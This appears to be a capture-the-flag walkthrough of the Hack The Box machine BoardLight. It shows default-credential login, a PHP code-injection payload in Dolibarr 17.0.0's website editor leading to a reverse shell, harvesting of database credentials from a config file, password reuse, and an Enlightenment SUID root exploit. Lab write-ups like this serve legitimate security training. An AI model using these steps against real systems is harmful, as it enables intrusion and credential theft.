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HTB - BoardLight

NMAP

• From the website we get the domain name:

Add board.htb to /etc/hosts

• Subdomain enum:

gobuster vhost -u http://board.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 64 --append-domain

We get:

crm.board.htb:

• Got a login site:

Guessed admin : admin

• And we’re in:

• We can see it runs Dolibarr 17.0.0

RCE exploit:

On the website tab - we can get RCE https://www.swascan.com/security-advisory-dolibarr-17-0-0/

(The website resets quite often)

• Create new website
• Import website template (I chose the first template and used the About Us page)

• Edit HTML Source

• I tested with: <?php includeContainer(‘header’); ?>

<section id=”mysection1” contenteditable=”true”>

\<?**PHP** echo system("whoami");?\>

</section>

<?php includeContainer(‘footer’); ?>

• Now if we use Pentestmonkey PHP rev shell and paste that inside the boilerplate code: <?php includeContainer(‘header’); ?>

<section id=”mysection1” contenteditable=”true”>

<Pentest Monkey code - Change to Capital PHP>

</section>

<?php includeContainer(‘footer’); ?>

• Set up listener
• Click save

/usr/bin/script -qc /bin/bash /dev/null

• Upload LinPEAS

We can see port 3306 open - MySQL

Also, it found a database.php file:

/var/www/html/crm.board.htb/htdocs/admin/system/database.php

The file itself shows us the variables imported from the conf.php file ie. $dolibarr_main_db_pass

• The conf file is located in: /var/www/html/crm.board.htb/htdocs/conf/conf.php

And here we get MySQL creds

$dolibarr_main_db_user=’dolibarrowner’;

$dolibarr_main_db_pass=’serverfun2$2023!!’;

show databases;
use dolibarr;
show tables;

There are a lot of tables in the DB

To find which have data do:

SELECT TABLE_NAME,TABLE_ROWS FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'dolibarr';

• After messing around with trying to crack the hash - which is a dead end and not needed:

I reused the mysql user password for larissa.

su larissa

# serverfun2\$2023!!

• We can now SSH in

cat user.txt

Priv Esc

• In LinPEAS (updated version) - we see the unknown SUID binaries - enlightenment:

• There is an exploit for this:

https://www.exploit-db.com/exploits/51180

• Run the bash script:

• Root: